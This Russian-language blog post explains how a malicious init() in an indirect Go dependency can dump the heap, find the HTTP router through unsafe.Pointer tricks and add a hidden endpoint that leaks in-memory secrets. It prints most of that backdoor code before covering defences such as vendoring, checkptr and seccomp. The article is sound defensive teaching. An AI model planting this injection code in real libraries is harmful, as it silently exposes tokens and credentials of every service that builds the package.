// posts — go · security
Как незаметная indirect-зависимость в Go дописала ручку в ваш HTTP-сервер
Все примеры из статьи лежат в репозитории github.com/korableg/init-injection-example. Код «вредоноса» написан в учебных целях — чтобы показать класс проблемы, а не дать готовый инструмент. Запускайте только в песочнице.
История простая: у нас есть аккуратный сервис на net/http с единственной ручкой
/time. Мы обновляем одну библиотеку через go get, ничего не меняя в своём
коде. После рестарта в сервисе появляется ручка /__injected, которая отдаёт строки из
памяти процесса. Мы её не регистрировали. Более того — пакет, который её
зарегистрировал, формально в сервисе не используется.
Дальше — разбор, как такое вообще возможно, шаг за шагом: от модели зависимостей Go и функции
init до сканирования кучи и unsafe.Pointer. И, конечно, как от этого защищаться.
Часть 1. Как Go видит зависимости
Чтобы понять атаку, нужно держать в голове три факта о модульной системе Go. Если вы уверенно
читаете go.mod — можно пролистать до части 2.
1.1. Модуль начинается с go mod init
# bash
go mod init github.com/korableg/init-injection-example
Команда создаёт в корне go.mod. Путь модуля бывает двух видов:
- для библиотеки — полный импортируемый путь (
github.com/org/lib), по которому её будут тянуть другие; - для сервиса — может быть просто уникальным идентификатором, наружу его никто не импортирует.
Если сервис должен экспортировать пакеты (например, сгенерированные protobuf-контракты), под них заводят отдельный external-модуль с полным именем — его и импортируют соседи.
1.2. Один способ импорта на всё — go get
# bash
go get github.com/igrmk/treemap/v2@v2.0.1
go get — универсальный способ затянуть любую зависимость: библиотеку, инструмент,
обновление версии. Именно эта команда в нашей истории и станет точкой входа атаки.
1.3. Анатомия go.mod
module github.com/korableg/init-injection-example/lib // 1. путь модуля
go 1.26.3 // 2. версия языка (минимальная)
replace github.com/korableg/init-injection-example/db => ../db // 3. подмена
require github.com/korableg/init-injection-example/db v0.0.0-... // 4. прямая зависимость
require ( // 5. indirect-зависимости
github.com/burntcarrot/heaputil v0.0.0-... // indirect
github.com/igrmk/treemap/v2 v2.0.1 // indirect
golang.org/x/exp v0.0.0-... // indirect
)
exclude github.com/burntcarrot/heaputil v1.0.0 // 6. исключение версии
Шесть элементов:
- Путь модуля — разобрали выше.
- Версия языка — минимальная версия Go, чьи языковые фичи разрешено использовать в модуле; компилятор отвергнет всё, что появилось позже. За конкретный тулчейн отвечает отдельная директива
toolchain(если её нет — берётся версия из строкиgo). replace— подменяет зависимость на форк или на локальную директорию.- Прямая зависимость — то, что вы сами добавили через
go get. - Indirect-зависимость (я называю их «теневыми») — то, что вы явно не импортируете, но что тянут используемые вами пакеты. Помечается комментарием
// indirect. exclude— запрет конкретной версии.
Запомните пункт 5 — // indirect. Вся интрига статьи держится на одном вопросе:
что Go выполняет в indirect-зависимостях, которые ваш код напрямую не вызывает?
Часть 2. init — тихий вход
2.1. Сигнатура
init — функция без аргументов и без возвращаемого значения:
func init() {
// ...
}
Особенности:
- располагать её можно где угодно в пакете (не обязательно сверху);
- в одном пакете может быть несколько функций
init— хоть в каждом файле.
2.2. Три свойства, которые надо помнить
- Неявный вызов.
initвыполняется автоматически, до любого вашего кода, доmain. - Порядок. Несколько
initв пакете выполняются в порядке объявления. Аinitзависимых пакетов выполняются доinitвашего пакета — в порядке импорта. - Назначение. Классически
initиспользуют для настройки глобального состояния, регистрации обработчиков и прочей подготовки до старта основной логики.
2.3. Канонический пример — database/sql
Драйверы БД в Go регистрируются именно через init. Стандартная библиотека предоставляет sql.Register:
package db
import (
"database/sql"
"database/sql/driver"
"fmt"
)
func init() {
fmt.Println("YAY! db driver was registered 😻")
sql.Register("fooDB", &drv{})
}
type drv struct{}
func (*drv) Open(name string) (driver.Conn, error) {
return nil, nil
}
Поэтому драйверы и подключают «пустым» импортом:
import _ "github.com/jackc/pgx/v5/stdlib" // postgres
import _ "github.com/go-sql-driver/mysql" // mysql
import _ "github.com/ClickHouse/clickhouse-go" // clickhouse
Вы не вызываете из пакета ни одной функции — но его init уже зарегистрировал драйвер.
Удобно. И ровно здесь зарыта мина.
2.4. Что не так с init
init — и чем он опасенПервые три пункта — про читаемость и тестируемость. А вот четвёртый — главный герой статьи:
init выполняется даже в indirect-зависимости, которую ваш код фактически не
использует. Достаточно, чтобы пакет попал в граф сборки.
Дальше покажу, что это значит на практике.
Часть 3. Подопытный сервис
Смоделируем реалистичную ситуацию. Есть сервис example-service с одной ручкой /time:
// example-service/cur_timestamp.go
type curTimestamp struct{}
func (*curTimestamp) Handler() (string, http.Handler) {
return "GET /time", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
_, _ = w.Write([]byte(strconv.FormatInt(time.Now().Unix(), 10)))
})
}
HTTP-сервер мы оборачиваем во внутреннюю библиотеку lib — представьте «общую обвязку» с
единым конфигом, которую переиспользуют все сервисы компании:
// example-service/main.go
func main() {
cfg := config.NewConfig()
srvr := rest.New(cfg.Rest, &curTimestamp{})
go srvr.Serve()
// ... graceful shutdown
}
Конфиг библиотеки — это удобная композитная структура: настройки REST, базы данных и некоего сервиса
foo (он тут для массовки):
// lib/config/config.go
package config
import (
"github.com/korableg/init-injection-example/db"
"github.com/korableg/init-injection-example/lib/foo"
"github.com/korableg/init-injection-example/lib/rest"
)
type Config struct {
Rest *rest.Config `yaml:"rest"`
DB *db.Config `yaml:"db"` // <-- вот эта строчка решает всё
Foo *foo.Config `yaml:"foo"`
}
Обратите внимание на поле DB *db.Config. Сервис example-service
не работает с базой. Он отдаёт таймстамп. Но его «общий конфиг» из библиотеки
ссылается на тип db.Config — а значит, пакет db попадает в
граф сборки.
Смотрим go.mod сервиса:
module example
go 1.26.3
replace github.com/korableg/init-injection-example/lib => ../lib
replace github.com/korableg/init-injection-example/db => ../db
require github.com/korableg/init-injection-example/lib v0.0.0-...
require (
github.com/burntcarrot/heaputil v0.0.0-... // indirect
github.com/igrmk/treemap/v2 v2.0.1 // indirect
github.com/korableg/init-injection-example/db v0.0.0-... // indirect <-- !!!
golang.org/x/exp v0.0.0-... // indirect
)
db помечен как // indirect. Сервис его напрямую не импортирует — он пришёл
транзитивно через lib/config.
Цепочка зависимостей
db приходит в сервис транзитивно как indirectЗапускаем сервис — и в логах появляется:
YAY! db driver was registered 😻
init() из пакета db выполнился, хотя ни одной функции из db мы не
вызывали. Просто потому что тип db.Config упомянут в структуре конфига. Пока что
безобидно — зарегистрировался драйвер. Но это доказательство концепции:
чужой init уже исполняется в адресном пространстве нашего процесса.
Часть 4. Обновление, которое всё меняет
Теперь смоделируем то, что происходит в реальной жизни постоянно: мы делаем go get и
обновляем db до новой версии. В код сервиса мы не заглядываем — «там же только конфиг
базы». А в новой версии init теперь выглядит так:
func init() {
fmt.Println("YAY! db driver was registered 😻")
sql.Register("fooDB", &drv{})
inject() // <-- вот это приехало с обновлением
}
Заглянем в inject. И тут начинается самое интересное — функция оперирует
unsafe.Pointer. Зачем? Разберёмся по частям.
Часть 5. Краткий ликбез по unsafe.Pointer
Чтобы понять эксплойт, нужно понимать два типа.
unsafe.Pointer против обычного указателя
Обычный указатель в Go типизирован: *int указывает на int, и компилятор это
контролирует. unsafe.Pointer — это как void * в C: его можно преобразовать
в указатель на любой тип, и компилятор не проверяет безопасность типов.
uintptr — указатель как число
unsafe.Pointer ↔ uintptr: что видит сборщик мусораunsafe.Pointer— настоящий указатель, garbage collector его отслеживает.uintptr— беззнаковое целое размером с указатель. Над ним доступна арифметика (надunsafe.Pointer— нет). Но GC его не видит.
Почему нельзя гонять uintptr → unsafe.Pointer между выражениями
Из-за сборщика мусора. Как только адрес «сполз» в uintptr, GC перестаёт считать объект
живым и может его переместить или собрать. Превратите uintptr обратно в указатель позже —
и попадёте на освобождённую/перемещённую память. В лучшем случае — segfault.
Валидно (всё в одном выражении — компилятор и GC видят связь):
func Test_UnsafeValidOp(t *testing.T) {
k := []byte{1, 2, 3, 4, 5, 6}
p := (*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&k[0])) + 2))
fmt.Println(*p) // 3
}
Невалидно (адрес «полежал» в переменной uP между выражениями):
func Test_UnsafeInvalidOp(t *testing.T) {
k := []byte{1, 2, 3, 4, 5, 6}
uP := uintptr(unsafe.Pointer(&k[0])) // адрес ушёл в uintptr...
p := (*byte)(unsafe.Pointer(uP + 2)) // ...и используется в другом выражении
fmt.Println(*p)
}
Такие конструкции ловят линтеры, go vet и checkptr. Но есть «легальный»
обход — unsafe.Add, который умеет арифметику над unsafe.Pointer
без перехода в uintptr:
func Test_UnsafeValidOp2(t *testing.T) {
k := []byte{1, 2, 3, 4, 5, 6}
var offset uintptr = 2
uP := unsafe.Pointer(&k[0])
p := (*byte)(unsafe.Add(uP, offset)) // линтер считает валидным
fmt.Println(*p) // 3
}
Именно unsafe.Add использует inject, чтобы спокойно делать арифметику над
адресами и не привлекать внимания инструментов.
Часть 6. Как inject находит и захватывает HTTP-роутер
Теперь, вооружившись знанием про unsafe, разберём inject целиком. Общая идея:
inject(): от дампа кучи до регистрации /__injected6.1. Дамп кучи
Чтобы найти роутер в памяти, inject снимает дамп всей кучи штатным средством runtime/debug:
func objectsFromHeap() ([]*record.ObjectRecord, error) {
f, err := os.CreateTemp(os.TempDir(), "*")
if err != nil {
return nil, err
}
defer func() {
f.Close()
os.Remove(f.Name())
}()
// Пишем дамп кучи в файл.
// Формат: https://go.dev/wiki/heapdump15-through-heapdump17
debug.WriteHeapDump(f.Fd())
if _, err = f.Seek(0, 0); err != nil {
return nil, err
}
return parseDump(bufio.NewReader(f))
}
debug.WriteHeapDump принимает один аргумент — файловый дескриптор. Поэтому сначала
создаётся временный файл, в него пишется дамп, затем он парсится библиотекой heaputil в
список объектов. Все адреса в дампе хранятся как беззнаковые целые. (Парсинг формата дампа — отдельная
большая тема, см. ссылку в коде.)
6.2. Адрес → указатель через «нулевую базу»
Зная, что любой адрес — это смещение от начала виртуального адресного пространства, можно прибавить
адрес объекта к нулевому указателю и получить рабочий unsafe.Pointer:
ptr := unsafe.Add(unsafe.Pointer(nil), obj.Address)
6.3. Распознавание http.ServeMux по разметке памяти
Дальше нужно понять, какой из объектов кучи — это http.ServeMux. Для этого в пакете
заранее объявлены структуры, повторяющие внутреннюю разметку приватных типов из
net/http:
type (
// Структуры повторяют верстку внутренних типов http.ServeMux
routingIndexKey struct {
pos int
s string
}
segment struct {
s string
wild bool
multi bool
}
pattern struct {
str string
method string
host string
segments []segment
loc string
}
routingIndex struct {
segments map[routingIndexKey][]*pattern
multis []*pattern
}
)
Поскольку unsafe.Pointer можно привести к любому типу, а в памяти эти структуры лежат
байт-в-байт как оригиналы из net/http, можно «надеть» их на сырой адрес и прочитать.
Распознавание идёт по нескольким опорным признакам.
Опорное значение №1 — реальный размер ServeMux в памяти. Здесь хитрость:
объект в куче занимает не unsafe.Sizeof, а размер ближайшего класса аллокации
(size class) Go — рантайм округляет вверх. Размер класса вычисляют красивым хаком:
func calculateSizeClass(n uintptr) int {
b := append([]byte(nil), make([]byte, n)...)
return cap(b) // рантайм подогнал capacity под нужный size class
}
Берём n-байтный слайс, аппендим в пустой безразмерный — рантайм подгоняет capacity под
класс памяти. cap и есть реальный размер. (Классы памяти — см.
runtime/sizeclasses.go.)
Опорные значения №2 — смещения и количество полей под конкретную разметку
ServeMux. Собираем всё вместе:
muxSize := unsafe.Sizeof(http.ServeMux{})
muxSizeClass := calculateSizeClass(muxSize)
var (
muxFirstOffset uint64 = 24
muxRoutingIndexOffset = 96
muxFieldsCount = 10
)
for _, obj := range objects {
ptr := unsafe.Add(unsafe.Pointer(nil), obj.Address)
if len(obj.Fields) == muxFieldsCount &&
obj.Fields[0] == muxFirstOffset &&
len(obj.Contents) == muxSizeClass {
ri := (*routingIndex)(unsafe.Add(ptr, muxRoutingIndexOffset))
if ri != nil && len(ri.segments) > 0 {
mux = (*http.ServeMux)(ptr) // нашли роутер!
}
}
addContents(obj, tm)
}
Объект-кандидат проверяется по трём признакам: число полей == 10, первое поле == 24, размер ==
ожидаемому size class. Затем по смещению routingIndexOffset достаётся
routingIndex и проверяется, что в нём есть зарегистрированные маршруты. Совпало — перед
нами живой *http.ServeMux нашего сервиса.
6.4. Заодно — сбор строк из кучи
Параллельно inject складывает в упорядоченный TreeMap[uintptr, string] весь
валидный UTF-8-контент объектов кучи:
func addContents(obj *record.ObjectRecord, tm *contentTree) {
if !utf8.Valid(obj.Contents) {
return
}
data := strings.Map(func(r rune) rune {
if unicode.IsGraphic(r) {
return r
}
return -1
}, string(obj.Contents))
if len(data) == 0 {
return
}
tm.Set(uintptr(obj.Address), data)
}
Это — конфиги, токены, DSN-ы, любые строки, которые сервис держит в памяти.
6.5. Финал — регистрация чужой ручки
mux.HandleFunc("/__injected", handleFunc(tm))
handleFunc просто отдаёт собранную мапу адрес → строка:
return func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write(data) // "0x... <строка из кучи>\n" построчно
}
Запускаем сервис, идём на /__injected — и получаем дамп строкового содержимого процесса.
Ручку никто из нас не регистрировал; её дописал init пакета, который в сервисе даже не
используется напрямую.
И отдельно про инструменты. Обычная сборка (go build) и go vet тревогу не
поднимают — код компилируется и спокойно работает. Гонки здесь тоже нет: в чистом race-репорте пусто,
потому что inject не пишет в общую память конкурентно. Но есть нюанс, важный для CI: флаг
-race неявно включает checkptr — рантайм-проверку корректности арифметики
указателей. И вот она этот эксплойт ловит — сборка с -race падает с
фатальной ошибкой ровно на unsafe.Add(unsafe.Pointer(nil), obj.Address):
fatal error: checkptr: pointer arithmetic result points to invalid allocation
.../db/harmful.go:179
То есть незаметным эксплойт остаётся только для «ванильного» пайплайна. Стоит собрать или прогнать
тесты с -race (или явно с checkptr) — и трюк с «нулевой базой» вскрывается.
Это, кстати, готовый аргумент гонять -race/checkptr в CI (вернёмся к этому в
части 7.2).
Дальше включайте фантазию: вместо «вывести строки» можно подменить хендлеры, проксировать трафик, утащить секреты.
Часть 7. Как с этим бороться
7.1. Главное — гранулируйте зависимости
Корень проблемы — композитный конфиг в библиотеке. Поле DB *db.Config
втащило весь пакет db (с его init) в сервис, которому база не нужна.
db во все сервисы; гранулированный — только туда, где он нужен
Правило: в библиотеках не делайте структур-агрегатов из чужих пакетов. Пусть будет
отдельный rest.Config, отдельный db.Config, и каждый сервис подключает только
то, что реально использует. Это не спасёт сервисы, которым база нужна по-настоящему, но как минимум
вынесет проблему из тех, кому она вообще ни к чему.
7.2. Инструменты
| Инструмент | Что делает |
|---|---|
vendoring (go mod vendor) |
Кладёт копии всех зависимостей в vendor/. При обновлении изменения видны прямо в git diff — чужой inject() не проедет незамеченным в ревью. |
| deadcode | Ищет недостижимый код. В отличие от unused из golangci-lint, проверяет и экспортные методы, и используемые только в тестах (поэтому не годится для библиотек). |
| GCI | Упорядочивает импорты по заданным правилам — дисциплина в импортах помогает замечать лишнее. |
| govulncheck | Сканирует проект на известные уязвимости (NVD, GHSA, база Go vuln). Есть веб-интерфейс — пакет можно проверить до подключения. |
| checkptr | Рантайм-проверки корректности арифметики указателей. Именно она роняет наш эксплойт на unsafe.Add(unsafe.Pointer(nil), addr). Включается флагом -race, поэтому достаточно гонять тесты/сборку с -race в CI. |
7.3. Перекрыть атаке кислород на уровне ОС: запрет на создание файлов
Предыдущие меры — про то, чтобы зловред вообще не попал в сборку. Но можно поставить ещё один рубеж — на уровне ОС, исходя из того, что эксплойту физически нужно для работы.
Вспомним часть 6.1: inject не умеет читать кучу напрямую. Ему нужно снять дамп через
debug.WriteHeapDump(f.Fd()), а эта функция требует записываемый файловый
дескриптор (по
документации
— обычный файл или сокет, не pipe). Поэтому эксплойт сначала зовёт os.CreateTemp(...),
который под капотом делает системный вызов openat(2) с флагом O_CREAT:
openat(2)
Если процесс не может создать файл в нужном месте — os.CreateTemp вернёт
ошибку, objectsFromHeap отвалится с err, и inject просто молча
выйдет (он глотает ошибку: if err != nil { return }). Дампа кучи нет —
ServeMux не найден — ручка не зарегистрирована. Цепочка рвётся на самом первом «грязном»
сисколле.
Большинству сервисов запись на диск во время работы вообще не нужна (логи идут в stdout, состояние — в БД). Значит, можно отобрать у процесса право создавать файлы — либо целиком, либо разрешив запись только в один заранее известный путь.
Важно делать это снаружи, на уровне оркестратора, а не из кода сервиса. Соблазн
«включить ограничение в начале main» не сработает: init indirect-зависимостей
выполняется до main, так что любую защиту, поднятую из своего же кода,
зловред в init просто опередит. Ограничение, навешенное контейнером/ядром ещё до старта
процесса, этой дыры лишено.
seccomp-BPF — фильтр системных вызовов
seccomp-BPF
режет по самим сисколлам. Вы описываете BPF-фильтр (обычно по allowlist-принципу, как в дефолтном
профиле Docker) и запрещаете процессу вызывать openat/creat/open
с флагами создания. Тогда любая попытка создать файл — включая os.CreateTemp из
inject — упрётся в EPERM/EACCES ещё на уровне ядра.
Применяют это на уровне оркестратора:
- Docker —
--security-opt seccomp=profile.jsonс кастомным профилем без файлосоздающих сисколлов; - Kubernetes —
seccompProfileвsecurityContextпода; - плюс ортогональные меры —
readOnlyRootFilesystem: trueиemptyDir-том только туда, где запись реально нужна.
readOnlyRootFilesystem сам по себе уже ломает наш эксплойт: os.TempDir() по
умолчанию указывает в /tmp, и если корневая ФС только для чтения — создать там временный
файл не выйдет.
Чем это отличается от мер выше
Гранулирование зависимостей, вендоринг и govulncheck не дают зловреду
попасть в сервис. Ограничение сисколлов исходит из обратного допущения — «предположим,
он уже внутри» — и отбирает у него инструменты. Это defense in depth: даже если вредонос проскочил
ревью, без права создать файл он не снимет дамп кучи и не доберётся до ServeMux.
7.4. Гигиена обновлений
Из истории вытекает несколько практик, которые стоит закрепить в команде:
- читайте диф зависимостей при обновлении — особенно если в нём появляется
unsafe,runtime/debug,os.CreateTemp, работа с дескрипторами; - держите
vendor/под контролем ревью; - прогоняйте
govulncheckв CI и проверяйте новые пакеты на vuln.go.dev до подключения; - не тащите в библиотеки композитные конфиги — гранулируйте;
- в проде запускайте сервисы с
readOnlyRootFilesystemи урезанным seccomp-профилем — это дёшево и ломает целый класс атак, завязанных на запись файлов.
Итог
Цепочка атаки оказалась короткой и абсолютно «легальной» с точки зрения компилятора:
- Библиотека держит композитный конфиг с полем
DB *db.Config. - Тип
db.Configтащит весь пакетdbв граф сборки сервиса — как indirect-зависимость. initпакетаdbвыполняется, хотя сервис не вызывает изdbни строчки.initснимает дамп кучи, черезunsafe.Pointerнаходитhttp.ServeMuxпо разметке памяти и дописывает свою ручку.- Обычная сборка и
go vetтревогу не поднимают — спасает только сборка сcheckptr(в том числе через-race), которая роняет эксплойт на арифметике указателей.
init и unsafe — мощные и полезные механизмы. Но ровно их «удобство» —
неявность init и бесконтрольность типов у unsafe — превращает невинное
обновление зависимости в RCE-подобный сценарий. Защита строится в два эшелона. Первый — не дать
зловреду попасть в сборку: гранулируйте зависимости, читайте дифы, вендорите и сканируйте. Второй — на
случай, если он всё же проскочил: урежьте процессу права на уровне ОС снаружи, через оркестратор.
Конкретно этому эксплойту для работы нужно создать файл под дамп кучи — запретите создание файлов
(seccomp-профиль, readOnlyRootFilesystem), и цепочка порвётся на первом же сисколле.
Код для самостоятельного изучения —
github.com/korableg/init-injection-example.
Раскомментируйте inject() в db/drv.go, поднимите example-service
и сходите на /__injected.
Спасибо за внимание. Вопросы и возражения — в комментарии.